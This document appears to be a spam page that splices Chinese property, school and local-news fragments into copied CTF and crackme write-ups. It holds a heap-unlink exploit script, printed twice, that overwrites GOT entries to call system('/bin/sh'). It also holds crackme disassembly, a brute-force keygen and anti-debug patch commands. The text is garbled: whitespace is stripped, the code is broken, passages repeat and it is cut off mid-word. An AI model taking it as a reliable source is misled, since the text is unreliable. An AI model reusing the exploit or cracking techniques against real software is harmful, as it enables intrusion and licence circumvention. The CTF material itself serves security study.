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还是比较给力,memset这些都失败出来了,的就不行。对于诸多中小房企开发商来说,未来的两年一定是越来越难熬的两年,正规渠道的钱越来越难搞到,债务累计越来越多。详细过程已更新,详见附件,贴上poc:frompwnimport*importbinasciiimporttime#PediyCTF{n0_pwn_n0_fun_233}g_local=_level=debugsh=0ifg_local:sh=process(./pediy)#print_log(attchbyida.....)raw_input(idahasattchPressanykeyforcontinue...)else:sh=remote(,51888)defwelcome():($)#paylaod=p64(0)+p64(0x21)+A*16#(paylaod)(pediy)($)printwelcome()deffree(id):(2)(1024)(str(id))(1)(2048)defcreate(size,id,context):(1)(1024)(str(size))(1024)(str(id))(1024)(str(context))($)defedit(id,payload):(3)(1024)(str(id))(1024)(payload)(2048)deftest_Double_free():create(16,0,sssss)create(16,1,xxxxxxxxxxx)free(0)free(1)free(0)print(writenewtrunkaddress:)xx=raw_input(newaddress:)payload=p64(int(xx,16))+A*12create(16,0,payload)raw_input()create(16,0,1111111111111)create(16,0,payload)create(16,0,1111111111111)raw_input()create(16,0,1111111111111)create(16,0,1111111111111)create(16,0,1111111111111)deftest_2():create(16,0,sssss)free(-2)print(writenewtrunkaddress:)payload=p32(0x6020e8)+xxxxxxxxxxcreate(20,0,payload)g_dest_list=0x6020e0free_got_plt=0x602018puts_got_plt=0x602020puts_plt=0x4006d0atoi_got_plt=0x602058fd=g_dest_list-0x18bk=g_dest_list-0x10deftest_unlink():FIRST_TRUNK_SIZE=0x80SECOND_TRUNK_SIZE=0x80create(FIRST_TRUNK_SIZE,0,1*FIRST_TRUNK_SIZE)create(SECOND_TRUNK_SIZE,1,2*SECOND_TRUNK_SIZE)#freeg_dwSizeAryfree(-2)#raw_input(changesize)#malloc--returng_dwSizeAryaddress,thenchangethesize#payload=p32(0x20)+p32(0x20)+p32(FIRST_TRUNK_SIZE*2)+p32(SECOND_TRUNK_SIZE)+p32(0)size_payload=size_payload+=p32(FIRST_TRUNK_SIZE*2)#index=0changesizesize_payload+=p32(SECOND_TRUNK_SIZE)#index=1keepsize_payload+=p32(0)size_payload+=p32(0)size_payload+=p32(0)create(20,2,size_payload)#raw_input(editnote0)#editindex=0payload1=payload1+=p64(0)#prevsize=trunkused=0payload1+=p64(0x81)#value=thistrunksize+prevtrunkflag=0x80+1payload1+=p64(fd)#free_got_pltpayload1+=p64(bk)payload1+=A*(FIRST_TRUNK_SIZE-8*4)payload1+=p64(len(payload1))#size=len(payload1)overflowertoindex=1payload1+=p64(SECOND_TRUNK_SIZE+0x10)#value=thistrunksize+prevtrunkflag=0x80+0x10+0edit(0,payload1)raw_input(unlink)#unlinktheng_dest_list[0]=g_dest_list-0x18free(1)#editindex=0address=0x6020c8edit_paylaod=edit_paylaod+=p64(0)edit_paylaod+=p64(0)edit_paylaod+=p64(0)edit_paylaod+=p64(free_got_plt)#g_dest_list[0]forchangefree_got_plttoputs_plttoleakedit_paylaod+=p64(1)#g_dwFlag[0]edit_paylaod+=p64(puts_got_plt)#g_dest_list[1]puts_got_pltForleakputs_got_pltaddressedit_paylaod+=p64(1)#g_dwFlag[1]edit_paylaod+=p64(atoi_got_plt)#g_dest_list[2]atoi_got_pltForchageatoitosystemedit_paylaod+=p64(1)#g_dwFlag[2]#edit(0,p64(0)+p64(0)+p64(0)+p64(free_got_plt)+p64(1)+p64(0x602058)+p64(1)+p64(0x602058))edit(0,edit_paylaod)#raw_input(changefree_got_plttoputs_plt)edit(0,p64(puts_plt))#leakputs_got_plt#raw_input(leakputs_got_pltaddr)xx=free(1)str_puts_addreess=xx[0:6]printstr_puts_addreessstr_puts_addreess=str_puts_addreess+\x00\x00raw_input(calcsystemaddress)ifg_local:system_address=u64(str_puts_addreess)-0x6f690+0x45390else:system_address=u64(str_puts_addreess)-0x6cee0+0x41fd0printsystem_address,hex(system_address)#chageatoiraw_input(chageputs_got_plttosystem_address)edit(2,p64(system_address))#runsystem(/bin/sh)(/bin/sh)#()test_unlink()raw_input()上传的附件:"  雅居乐民森迪茵湖小镇首推告捷,目前仅有少量76-155㎡湖景洋房在售,感兴趣的客户可前往售楼部咨询。" ,只能选择提供住房材料所在学区范围的1所公办学校。近年来,科技创新产业向南山北部倾斜,打造留仙洞、南山智园等战略性新兴产业基地,重点发展机器人、生命健康等未来产业和高增长科技企业,高科技企业聚集,高精尖人才汇聚。所以继续往后看,发现奇怪之处。    大族集团心系教育事业,慷慨捐赠创客空间    深圳外国语学校国际部成立于2011年9月,位于风景秀丽的深圳湾畔,是由深圳市政府投资兴建、面向在深外籍和港澳台人士子女的第一所国际学校,由饮誉省内外的深圳市教育局直属重点学校深圳外国语学校自主创办。,完整的dump脚本本来想找个反编译工具的,结果一直找不到,最后看了看脚本中的字符串,发现xor,再对比一下输入输出,果然是xor.反推:1.根据输入的字符串,输出的结果,以及异或的过程和最终的对比结果,直接用python还原:#python3#输入字符串,长度不等于12则返回结果全为0inputN=mapzzzzzzz12#经过luajit运算之后的结果outN=[0x1d,0x4,0x14,0x13,0x3,0x4b,0x48,0x49,0x4e,0x4f,0x7,0x5]#C代码中异或的值cXorList=[0x5,0x12,0xa,0x29,0x42,0x41,0x75,0x61,0x35,0x83,0x55,0x94]#最终的比较结果cmpList=[0x18,0x16,0x1e,0x2f,0x48,0x11,0x21,0x37,0x33,0x86,0x52,0x94]#求luajit中异或的值luaXorList=[]#这个list中值为输入字符串之后应该输出的值needList=[]foriinrange(0,len(inputN)):tmp=cXorList[i]^cmpList[i]#print(hex(tmp))(tmp0xff)foriinrange(0,len(inputN)):tmp=ord(inputN[i])^outN[i]#print(hex(tmp))(tmp0xff)strRet=foriinrange(0,len(inputN)):tmp=luaXorList[i]^needList[i]#print(hex(tmp))strRet+=chr(tmp)print(strRet)在中国第一的CBA篮球馆——东莞篮球中心,精英队员们奔跑于球场,运球帷幄,球在几双有力的大手之间如龙游走,最后如火一般凌云而起,正中篮心。广州地铁18号线延长线(预计2020年建成)已确定在三角镇设立站点,目前已动工建设  对于中山本地客户来说,雅居乐民森迪茵湖小镇不仅交通便利(距中山市中心区仅20分钟),项目独一无二的重量级配套更是诱惑力满满:  项目占地约3500亩,拥有千亩迪茵湖和湖心岛,生态资源丰富,岛上更有湾区中心白鹭、灰鹤种群栖息。。 其实就是对输入分别与下面这一串异或,返回结果。与此同时,中山新房库存量高企,至2017年末,达到65531套,环比上升%,去化周期达到个月。

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在扎根铜仁不断创新发展中,贵州中伟集团还致力于大龙开发区公共事业,深入贯彻落实大扶贫战略,积极探索精准扶贫新模式,以产业扶贫带动贫困群众脱贫致富,并通过“以商招商”协助大龙开发区引进全球最大的打火机生产企业贵州东亿电气公司落户,围绕打火机产业链协同引进东奇电气、金顺电子等7家上游企业;协助引进阳光8点、林峰等10家箱包企业入住箱包产业园,全面带动了大龙及周边群众就业增收。争取农村“组组通”公路建设指标13208公里,开工建设6000公里,争取建设资金亿元,建成3700公里,完成里程居全省第三,建制村实现“双通”。  昨天,上海民政工作会议公布了2018年上海民政工作安排,养老领域将有多个新动作亮相,首次提出改造1000张失智老人照护床位;启动老吾老计划试点,探索家庭护老者培训新模式等等;探索社区服务顾问制度,首先聚焦养老顾问开展试点推进,为老年人提供更多、更便捷的服务。,年月日在建项目个,其中基础设施项目个,产业项目个;月累计新开工项目个,其中产业项目个。个投资万元以上项目。。共抽查区县市场监管、工贸、水务等30余个单位;开展现场培训会10场次,培训人员500余人次。建立营商服务管理机制。。

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三是按照项目批复实施。凡对上述公示内容有异议者,致电市人社局咨询电话962218。,市住建局表示,关于天曜小区居民出行问题,希望相关企业要主动承担社会责任,为居民的出行提供便利,该局将做好相关企业的协调工作。,    为了更好地服务消费者和社群,布吉华润万象汇在设计理念和顾客服务方面,提倡经营先行,比如在设计初期,项目提出“全首层设计”概念并提前预留条件,让消费者和项目的第一触点可以发生在任何一个楼层(B1层地铁接驳、L1L2层南北侧路面、L3层东侧车道、L4层住宅连廊)。上传的附件: 方法:直接修改7580774b处的代码,将TESTEAX,EAX改为XOREAX,EAX。来源:澎湃新闻关于买房,以及了解独家房产资讯及数据,建议您加入咚咚找房极速买房;说出您的需求,剩下的找房、价值分析、价格配比……都有专业人员帮您搞定,让您的买房路更顺畅。在消息响应函数Hi_ctrl_WM_COMMAND_handler_sub_403E80中通过调用Hi_update_sub_41C31A(True)更新编辑框内容到关联的控件成员变量中.text::00403EB4movecx,[ebp+var_118_thisPtr].text:00403EBAcallHi_update_sub_41C31A通过调用Hi_update_sub_41C31A中调用Hi_getEditText_sub_403B600041C361calldwordptr[eax+100h];Hi_getEditText_sub_403B60Hi_getEditText_sub_403B60如下,可见edit控件关联的字符串成员变量在偏移处.text:00403B63leaeax,[ecx+0C0h].text:00403B69pusheax;::00403B6Fpush[ebp+arg_0]:00403B72callHi_InP2DlgID_OutP3text_sub_416F7A下述代码将注册码通过Hi_P2CStr_spliteAt5_to_ecx2CStrA1A2_retA2_sub_402D30函数分成两部分粗放于两个元素的CStr数组中var_18_2Cstr。。建立健全广告审查制度,配备广告审查员,未经广告审查员审查的广告不予发布。农场内配有少年精英马术俱乐部、生态果园、花海、梯田谷海等。 ,而另一分支只是将相应的key信息(如key1)变换为其它形式。自己构造的字符串:TGk0dExTMGdMaTR1TFMwZ0xTMHRMUzBnTGkwdExTMGdMUzB0TFMwZ0xpNHVMUzBnTGk0dUxTMGdMaTB0TFMwZ0xpNHVMUzBnTGk0dExTMGdMUzB0TFMwZ0xTMHRMUzBn4cfba0a0c4b5039049dc3f6801f07d54df35ead01cbb31247cc56793a2155168其他一些笔记:sub_434010check_crc0-90-----1.----2..---3...--4....-5.....6-....7--...8---..9----.字母a.-**b-...-.-.-..*.***..-.--.*....0049B2A02E2D2A2A2D2E2E2E2D2E2D2E2D2E2E2A.-**-...-.-.-..*abcd0049B2B02E2A2A2A2E2E2D2E2D2D2E2A2E2E2E2E.***..-.--.*....efgh0049B2C02E2E2A2A2E2D2D2D2D2E2D2A2E2D2E2E..**.----.-*.-..0049B2D02D2D2A2A2D2E2A2A2D2D2D2A2E2D2D2E--**-.**---*.--.0049B2E02D2D2E2D2E2D2E2A2E2E2E2A2D2A2A2A--.-.-.*...*-***0049B2F02E2E2D2A2E2E2E2D2E2D2D2A2D2E2E2D..-*...-.--*-..-yz0049B3002D2E2D2D2D2D2E2E0000000000000000-.----..........zlqpz--..l.-..p.--.q--.-od脚本,用于过滤检测到的反调试:mov[435e90],#eb#//jmpmov[435ea8],#eb#mov[4313f4],#9090#//nopmov[4367bf],#eb#mov[435481],#eb#值得关注的是,坪山文化中心今年投入使用,同时还将建成5个“坪山城市书房”。注册表中的相关设置,大都与系统设置有关,如用WinDbg动态跟踪,可以找到与新进程默认调试器有关的注册表地址(HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\AeDebug)。 主要包括房地产开发、物业经营与服务、海外电信运营及移动互联网、大数据、金融服务、休闲娱乐等业务版块。升学途径:地段入学+择校(投简历)2017年福外地段录取分数线为分,而2016年才分,2015年65分。,博彩评级,这题比较简单,OD载入,代码窗口很容易找到:0040112B|.66:81BC242C010000EAcmpwordptrss:[],3EA事例111(WM_COMMAND)|.0F855B010000jne004012960040113B|.884C2420movss:[],cl0040113F|.B93F000000movecx,3F00401144|.33C0xoreax,eax00401146|.8D7C2421leaedi,[+1]0040114A|.F3:ABrepstosdwordptres:[edi]0040114C|.8BB42424010000movesi,ss:[]00401153|.8B1DA0504000movebx,ds:[&]00401159|.66:ABstoswordptres:[edi]0040115B|.8D442420leaeax,[]0040115F|.BF01000000movedi,100401164|.50pusheax/lParam=|.68FF000000push0FF|wParam=|.6A0Dpush0D|Msg=WM_GETTEXT0040116C|.68E9030000push3E9|/ItemID=|.56pushesi||hDialog=[]00401172|.FFD3callebx|\|.8B2DA4504000movebp,ds:[&]|0040117A|.50pusheax|hWnd0040117B|.FFD5callebp\|.33C9xorecx,ecx0040117F|.85C0testeax,eax00401181|.7617jbeshort0040119A00401183|8A540C20/movdl,ss:[ecx+esp+20]00401187|.80FA30|cmpdl,30//注册码全是数字0040118A|.7C0C|jlshort004011980040118C|.80FA39|cmpdl,390040118F|.7F07|jgshort0040119800401191|.41|incecx00401192|.3BC8|cmpecx,eax00401194|.^72ED\jbshort0040118300401196|.EB02jmpshort0040119A00401198|33FFxoredi,edi0040119A|83F806cmpeax,6//长度必须是60040119D|.7556jneshort004011F50040119F|.85FFtestedi,edi004011A1|.7452jzshort004011F5004011A3|.8D4C2420leaecx,[]004011A7|.50pusheax/Arg2004011A8|.51pushecx|Arg1=|.E852FEFFFFcall00401000\,//调用解码函数,对00406030的代码解码004011AE|.83C408addesp,8004011B1|.E80AFFFFFFcall004010C0//调用函数对解码后的内容进行和校验,正确返回1004011B6|.85C0testeax,eax004011B8|.742Cjzshort004011E6004011BA|.6A00push0//校验正确,调用解码后的函数提示成功004011BC|.68E9030000push3E9004011C1|.56pushesi004011C2|.FFD3callebx004011C4|.8B3DA8504000movedi,ds:[&]004011CA|.50pusheax|hWnd004011CB|.FFD7calledi\|.6A00push0004011CF|.68EA030000push3EA004011D4|.56pushesi004011D5|.FFD3callebx004011D7|.50pusheax004011D8|.FFD7calledi004011DA|.55pushebp004011DB|.56pushesi004011DC|.BA30604000movedx,offset00406030入口点004011E1|.FFD2calledx004011E3|.83C408addesp,8004011E6|8D442420leaeax,[]004011EA|.6A06push6/Arg2=6004011EC|.50pusheax|Arg1004011ED|.E80EFEFFFFcall00401000\,//再次调用解码函数恢复原来的数据004011F2|.83C408addesp,8004011F5|5Fpopedi默认情况下|.5Epopesi004011F7|.5Dpopebp004011F8|.33C0xoreax,eax004011FA|.5Bpopebx004011FB|.81C410010000addesp,11000401201|.C21000retn1000401000/$81EC08010000subesp,108//解码函数00401006|.53pushebx00401007|.55pushebp00401008|.56pushesi00401009|.57pushedi0040100A|.33D2xoredx,edx0040100C|.B93F000000movecx,3F00401011|.33C0xoreax,eax00401013|.8D7C2419leaedi,[+1]00401017|.88542418movss:[],dl0040101B|.F3:ABrepstosdwordptres:[edi]0040101D|.66:ABstoswordptres:[edi]0040101F|.AAstosbyteptres:[edi]00401020|.8D7C2418leaedi,[]00401024|.33C0xoreax,eax00401026|88440418/movss:[eax+esp+18],al0040102A|.40|inceax0040102B|.3D00010000|cmpeax,10000401030|.^7CF4\jlshort0040102600401032|.8BAC2420010000movebp,ss:[]00401039|.33C0xoreax,eax0040103B|.C744241000010000movdwordptrss:[],10000401043|8BB4241C010000/movesi,ss:[]0040104A|.8A0F|movcl,ds:[edi]0040104C|.8A1C30|movbl,ds:[esi+eax]0040104F|.02D9|addbl,cl00401051|.02D3|adddl,bl00401053|.40|inceax00401054|.88542414|movss:[],dl00401058|.8B742414|movesi,ss:[]0040105C|.81E6FF000000|andesi,000000FF00401062|.3BC5|cmpeax,ebp00401064|.8A5C3418|movbl,ss:[esi+esp+18]00401068|.8D743418|leaesi,[esi+esp+18]0040106C|.881F|movds:[edi],bl0040106E|.880E|movds:[esi],cl00401070|.7502|jneshort0040107400401072|.33C0|xoreax,eax00401074|8B4C2410|movecx,ss:[]00401078|.47|incedi00401079|.49|dececx0040107A|.894C2410|movss:[],ecx0040107E|.^75C3\jnzshort0040104300401080|.33C0xoreax,eax00401082|.8D8C2417010000leaecx,[+3]00401089|8A540418/movdl,ss:[eax+esp+18]0040108D|.8A19|movbl,ds:[ecx]0040108F|.02D3|adddl,bl00401091|.8A9830604000|movbl,ds:[eax+406030]00401097|.32DA|xorbl,dl00401099|.889830604000|movds:[eax+406030],bl0040109F|.40|inceax004010A0|.49|dececx004010A1|.3D80000000|cmpeax,80004010A6|.^7CE1\jlshort00401089004010A8|.5Fpopedi004010A9|.5Epopesi004010AA|.5Dpopebp004010AB|.5Bpopebx004010AC|.81C408010000addesp,108004010B2\.C3retn004010C0/$56pushesi//求和校验004010C1|.57pushedi004010C2|.33FFxoredi,edi004010C4|.33F6xoresi,esi004010C6|.33C9xorecx,ecx004010C8|33C0/xoreax,eax004010CA|.8A8130604000|moval,ds:[ecx+406030]004010D0|.99|cdq004010D1|.03F8|addedi,eax004010D3|.13F2|adcesi,edx004010D5|.41|incecx004010D6|.81F980000000|cmpecx,80004010DC|.^7CEA\jlshort004010C8004010DE|.81FF79290000cmpedi,2979//求和必须为0x2979004010E4|.750Cjneshort004010F2004010E6|.85F6testesi,esi004010E8|.7508jnzshort004010F2004010EA|.5Fpopedi004010EB|.B801000000moveax,1004010F0|.5Epopesi004010F1|.C3retn004010F2|5Fpopedi004010F3|.33C0xoreax,eax004010F5|.5Epopesi004010F6\.C3retn根据对上面的解码函数和校验函数分析,写出下面的代码暴力破解,从000000到999999扫描:boolkeyGen(){BYTEbuf1[0x80]={0xF4,0x12,0x9D,0x60,0x45,0xF8,0x20,0x6A,0x6F,0x67,0x04,0x71,0xC0,0x9B,0x0C,0x5A,0x1D,0x18,0x6C,0x96,0x69,0x01,0x1C,0xF4,0x7F,0x28,0x5A,0xFB,0x29,0x07,0x40,0x8B,0xD3,0xE1,0xB1,0x12,0xFB,0xCA,0x7C,0x89,0xB9,0x5A,0x30,0x70,0x9D,0x95,0x2B,0x95,0x3C,0x8D,0x2E,0x45,0xEF,0x70,0xC6,0xA3,0xB9,0xB2,0x5A,0x63,0x5F,0x03,0x33,0xB8,0x64,0x4A,0x8F,0xBC,0xF7,0x91,0x69,0x6A,0x56,0x2E,0xD4,0x6E,0x82,0x93,0xE9,0x76,0xDC,0xA3,0x6C,0x5E,0x6B,0x72,0x64,0x37,0xE7,0x15,0x17,0xAC,0x64,0x78,0xD5,0x4A,0x60,0x2D,0xF0,0x54,0xA6,0xF3,0xE8,0xE0,0xE0,0xB9,0x8F,0x85,0x90,0xE4,0xEA,0xD6,0xBB,0xB7,0x15,0x9E,0x2A,0x44,0xE7,0x31,0x63,0xAC,0x80,0x6C,0x34,0x82,0xE9,0xCF};DWORDmagic=0x2979;DWORDsum;BYTEbuf2[0x100];intidx;charsSN[7];intsn;for(sn=0sn1000000sn++){sprintf(sSN,"%06d",sn);for(idx=0idx0x100idx++){buf2[idx]=idx;}BYTEc=0;for(idx=0idx0x100idx++){BYTEc2=buf2[idx];c+=(BYTE)sSN[idx%6]+c2;buf2[idx]=buf2[c];buf2[c]=c2;}sum=0;for(idx=0idx0x80idx++){c=(buf2[idx]+buf2[0xff-idx])^buf1[idx];sum+=c;if(summagic){//大于就退出,不再浪费时间break;}}if(sum==magic){//等于,找到OutputDebugString(sSN);break;}}if(sn=1000000){OutputDebugString("未找到!");returnfalse;}returntrue;}很快能计算出结果:771535//方程一.text:004010A70048945F4mov[ebp+var_C],:004010AA0046BC005imuleax,:004010AD00403C8addecx,:004010AF00481F9423A508Fcmpecx,:004010B50047520jnzshortloc_:004010B70048B45F4moveax,[ebp+var_C].text:004010BA0046BC00Dimuleax,:004010BD00403D0addedx,:004010BF00481FA423A50EFcmpedx,0EF503A42h//方程二.text:004010F70048945F4mov[ebp+var_C],:004010FA0046BC011imuleax,:004010FD00403C8addecx,:004010FF00481F98348A9F3cmpecx,:004011050047520jnzshortloc_:004011070048B45F4moveax,[ebp+var_C].text:0040110A0046BC007imuleax,:0040110D00403D0addedx,:0040110F00481FA8348A933cmpedx,33A94883h但是整理了方程之后发现并不能有解,而且规则要求答案只会是字母和数字,接收输入地方也没有字符串转数字的处理,所以应该是有别的解法,仔细看接收输入处,发现用的scanf没用检查长度,猜测是栈溢出,但是要溢出到哪里呢,直接修改返回到yougetit是不行的,因为地址0040102F中的102F不符合规则中解的限制。2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。 上传的附件:据说,云轨也马上就要来了!你期待吗?10、大鹏新区2017年GDP预计330亿元,位居第10,增长7%。。不同于南山的科技兴区,福田是深圳的代表性金融商务区——深交所、市民中心、会展中心、福田高铁站、平安金融中心等的汇聚,造就了一个经济集约度超高的商务区。者:(编程解码)(动态调试)骤:代码,定位主要流程。,详细过程已更新,详见附件,贴上poc:frompwnimport*importbinasciiimporttime#PediyCTF{n0_pwn_n0_fun_233}g_local=_level=debugsh=0ifg_local:sh=process(./pediy)#print_log(attchbyida.....)raw_input(idahasattchPressanykeyforcontinue...)else:sh=remote(,51888)defwelcome():($)#paylaod=p64(0)+p64(0x21)+A*16#(paylaod)(pediy)($)printwelcome()deffree(id):(2)(1024)(str(id))(1)(2048)defcreate(size,id,context):(1)(1024)(str(size))(1024)(str(id))(1024)(str(context))($)defedit(id,payload):(3)(1024)(str(id))(1024)(payload)(2048)deftest_Double_free():create(16,0,sssss)create(16,1,xxxxxxxxxxx)free(0)free(1)free(0)print(writenewtrunkaddress:)xx=raw_input(newaddress:)payload=p64(int(xx,16))+A*12create(16,0,payload)raw_input()create(16,0,1111111111111)create(16,0,payload)create(16,0,1111111111111)raw_input()create(16,0,1111111111111)create(16,0,1111111111111)create(16,0,1111111111111)deftest_2():create(16,0,sssss)free(-2)print(writenewtrunkaddress:)payload=p32(0x6020e8)+xxxxxxxxxxcreate(20,0,payload)g_dest_list=0x6020e0free_got_plt=0x602018puts_got_plt=0x602020puts_plt=0x4006d0atoi_got_plt=0x602058fd=g_dest_list-0x18bk=g_dest_list-0x10deftest_unlink():FIRST_TRUNK_SIZE=0x80SECOND_TRUNK_SIZE=0x80create(FIRST_TRUNK_SIZE,0,1*FIRST_TRUNK_SIZE)create(SECOND_TRUNK_SIZE,1,2*SECOND_TRUNK_SIZE)#freeg_dwSizeAryfree(-2)#raw_input(changesize)#malloc--returng_dwSizeAryaddress,thenchangethesize#payload=p32(0x20)+p32(0x20)+p32(FIRST_TRUNK_SIZE*2)+p32(SECOND_TRUNK_SIZE)+p32(0)size_payload=size_payload+=p32(FIRST_TRUNK_SIZE*2)#index=0changesizesize_payload+=p32(SECOND_TRUNK_SIZE)#index=1keepsize_payload+=p32(0)size_payload+=p32(0)size_payload+=p32(0)create(20,2,size_payload)#raw_input(editnote0)#editindex=0payload1=payload1+=p64(0)#prevsize=trunkused=0payload1+=p64(0x81)#value=thistrunksize+prevtrunkflag=0x80+1payload1+=p64(fd)#free_got_pltpayload1+=p64(bk)payload1+=A*(FIRST_TRUNK_SIZE-8*4)payload1+=p64(len(payload1))#size=len(payload1)overflowertoindex=1payload1+=p64(SECOND_TRUNK_SIZE+0x10)#value=thistrunksize+prevtrunkflag=0x80+0x10+0edit(0,payload1)raw_input(unlink)#unlinktheng_dest_list[0]=g_dest_list-0x18free(1)#editindex=0address=0x6020c8edit_paylaod=edit_paylaod+=p64(0)edit_paylaod+=p64(0)edit_paylaod+=p64(0)edit_paylaod+=p64(free_got_plt)#g_dest_list[0]forchangefree_got_plttoputs_plttoleakedit_paylaod+=p64(1)#g_dwFlag[0]edit_paylaod+=p64(puts_got_plt)#g_dest_list[1]puts_got_pltForleakputs_got_pltaddressedit_paylaod+=p64(1)#g_dwFlag[1]edit_paylaod+=p64(atoi_got_plt)#g_dest_list[2]atoi_got_pltForchageatoitosystemedit_paylaod+=p64(1)#g_dwFlag[2]#edit(0,p64(0)+p64(0)+p64(0)+p64(free_got_plt)+p64(1)+p64(0x602058)+p64(1)+p64(0x602058))edit(0,edit_paylaod)#raw_input(changefree_got_plttoputs_plt)edit(0,p64(puts_plt))#leakputs_got_plt#raw_input(leakputs_got_pltaddr)xx=free(1)str_puts_addreess=xx[0:6]printstr_puts_addreessstr_puts_addreess=str_puts_addreess+\x00\x00raw_input(calcsystemaddress)ifg_local:system_address=u64(str_puts_addreess)-0x6f690+0x45390else:system_address=u64(str_puts_addreess)-0x6cee0+0x41fd0printsystem_address,hex(system_address)#chageatoiraw_input(chageputs_got_plttosystem_address)edit(2,p64(system_address))#runsystem(/bin/sh)(/bin/sh)#()test_unlink()raw_input()上传的附件:”片区成交上,东莞、惠州有近似的表现,临深片区主导市场。”,输入程序,结果如下。 ,    这个周末,一场极具特色的冰糖葫芦DIY互动体验在龙光·玖钻上演,让众人感受到儿时记忆里的童趣与温暖。开发商要还多少钱?任志强有个估量,他认为——2018年,房地产行业将迎来还债高峰,额度达到3300亿;2019年额度达到4700亿,2017-2019年房企还债规模将超1万亿。这题比较简单,OD载入,代码窗口很容易找到:0040112B|.66:81BC242C010000EAcmpwordptrss:[],3EA事例111(WM_COMMAND)|.0F855B010000jne004012960040113B|.884C2420movss:[],cl0040113F|.B93F000000movecx,3F00401144|.33C0xoreax,eax00401146|.8D7C2421leaedi,[+1]0040114A|.F3:ABrepstosdwordptres:[edi]0040114C|.8BB42424010000movesi,ss:[]00401153|.8B1DA0504000movebx,ds:[&]00401159|.66:ABstoswordptres:[edi]0040115B|.8D442420leaeax,[]0040115F|.BF01000000movedi,100401164|.50pusheax/lParam=|.68FF000000push0FF|wParam=|.6A0Dpush0D|Msg=WM_GETTEXT0040116C|.68E9030000push3E9|/ItemID=|.56pushesi||hDialog=[]00401172|.FFD3callebx|\|.8B2DA4504000movebp,ds:[&]|0040117A|.50pusheax|hWnd0040117B|.FFD5callebp\|.33C9xorecx,ecx0040117F|.85C0testeax,eax00401181|.7617jbeshort0040119A00401183|8A540C20/movdl,ss:[ecx+esp+20]00401187|.80FA30|cmpdl,30//注册码全是数字0040118A|.7C0C|jlshort004011980040118C|.80FA39|cmpdl,390040118F|.7F07|jgshort0040119800401191|.41|incecx00401192|.3BC8|cmpecx,eax00401194|.^72ED\jbshort0040118300401196|.EB02jmpshort0040119A00401198|33FFxoredi,edi0040119A|83F806cmpeax,6//长度必须是60040119D|.7556jneshort004011F50040119F|.85FFtestedi,edi004011A1|.7452jzshort004011F5004011A3|.8D4C2420leaecx,[]004011A7|.50pusheax/Arg2004011A8|.51pushecx|Arg1=|.E852FEFFFFcall00401000\,//调用解码函数,对00406030的代码解码004011AE|.83C408addesp,8004011B1|.E80AFFFFFFcall004010C0//调用函数对解码后的内容进行和校验,正确返回1004011B6|.85C0testeax,eax004011B8|.742Cjzshort004011E6004011BA|.6A00push0//校验正确,调用解码后的函数提示成功004011BC|.68E9030000push3E9004011C1|.56pushesi004011C2|.FFD3callebx004011C4|.8B3DA8504000movedi,ds:[&]004011CA|.50pusheax|hWnd004011CB|.FFD7calledi\|.6A00push0004011CF|.68EA030000push3EA004011D4|.56pushesi004011D5|.FFD3callebx004011D7|.50pusheax004011D8|.FFD7calledi004011DA|.55pushebp004011DB|.56pushesi004011DC|.BA30604000movedx,offset00406030入口点004011E1|.FFD2calledx004011E3|.83C408addesp,8004011E6|8D442420leaeax,[]004011EA|.6A06push6/Arg2=6004011EC|.50pusheax|Arg1004011ED|.E80EFEFFFFcall00401000\,//再次调用解码函数恢复原来的数据004011F2|.83C408addesp,8004011F5|5Fpopedi默认情况下|.5Epopesi004011F7|.5Dpopebp004011F8|.33C0xoreax,eax004011FA|.5Bpopebx004011FB|.81C410010000addesp,11000401201|.C21000retn1000401000/$81EC08010000subesp,108//解码函数00401006|.53pushebx00401007|.55pushebp00401008|.56pushesi00401009|.57pushedi0040100A|.33D2xoredx,edx0040100C|.B93F000000movecx,3F00401011|.33C0xoreax,eax00401013|.8D7C2419leaedi,[+1]00401017|.88542418movss:[],dl0040101B|.F3:ABrepstosdwordptres:[edi]0040101D|.66:ABstoswordptres:[edi]0040101F|.AAstosbyteptres:[edi]00401020|.8D7C2418leaedi,[]00401024|.33C0xoreax,eax00401026|88440418/movss:[eax+esp+18],al0040102A|.40|inceax0040102B|.3D00010000|cmpeax,10000401030|.^7CF4\jlshort0040102600401032|.8BAC2420010000movebp,ss:[]00401039|.33C0xoreax,eax0040103B|.C744241000010000movdwordptrss:[],10000401043|8BB4241C010000/movesi,ss:[]0040104A|.8A0F|movcl,ds:[edi]0040104C|.8A1C30|movbl,ds:[esi+eax]0040104F|.02D9|addbl,cl00401051|.02D3|adddl,bl00401053|.40|inceax00401054|.88542414|movss:[],dl00401058|.8B742414|movesi,ss:[]0040105C|.81E6FF000000|andesi,000000FF00401062|.3BC5|cmpeax,ebp00401064|.8A5C3418|movbl,ss:[esi+esp+18]00401068|.8D743418|leaesi,[esi+esp+18]0040106C|.881F|movds:[edi],bl0040106E|.880E|movds:[esi],cl00401070|.7502|jneshort0040107400401072|.33C0|xoreax,eax00401074|8B4C2410|movecx,ss:[]00401078|.47|incedi00401079|.49|dececx0040107A|.894C2410|movss:[],ecx0040107E|.^75C3\jnzshort0040104300401080|.33C0xoreax,eax00401082|.8D8C2417010000leaecx,[+3]00401089|8A540418/movdl,ss:[eax+esp+18]0040108D|.8A19|movbl,ds:[ecx]0040108F|.02D3|adddl,bl00401091|.8A9830604000|movbl,ds:[eax+406030]00401097|.32DA|xorbl,dl00401099|.889830604000|movds:[eax+406030],bl0040109F|.40|inceax004010A0|.49|dececx004010A1|.3D80000000|cmpeax,80004010A6|.^7CE1\jlshort00401089004010A8|.5Fpopedi004010A9|.5Epopesi004010AA|.5Dpopebp004010AB|.5Bpopebx004010AC|.81C408010000addesp,108004010B2\.C3retn004010C0/$56pushesi//求和校验004010C1|.57pushedi004010C2|.33FFxoredi,edi004010C4|.33F6xoresi,esi004010C6|.33C9xorecx,ecx004010C8|33C0/xoreax,eax004010CA|.8A8130604000|moval,ds:[ecx+406030]004010D0|.99|cdq004010D1|.03F8|addedi,eax004010D3|.13F2|adcesi,edx004010D5|.41|incecx004010D6|.81F980000000|cmpecx,80004010DC|.^7CEA\jlshort004010C8004010DE|.81FF79290000cmpedi,2979//求和必须为0x2979004010E4|.750Cjneshort004010F2004010E6|.85F6testesi,esi004010E8|.7508jnzshort004010F2004010EA|.5Fpopedi004010EB|.B801000000moveax,1004010F0|.5Epopesi004010F1|.C3retn004010F2|5Fpopedi004010F3|.33C0xoreax,eax004010F5|.5Epopesi004010F6\.C3retn根据对上面的解码函数和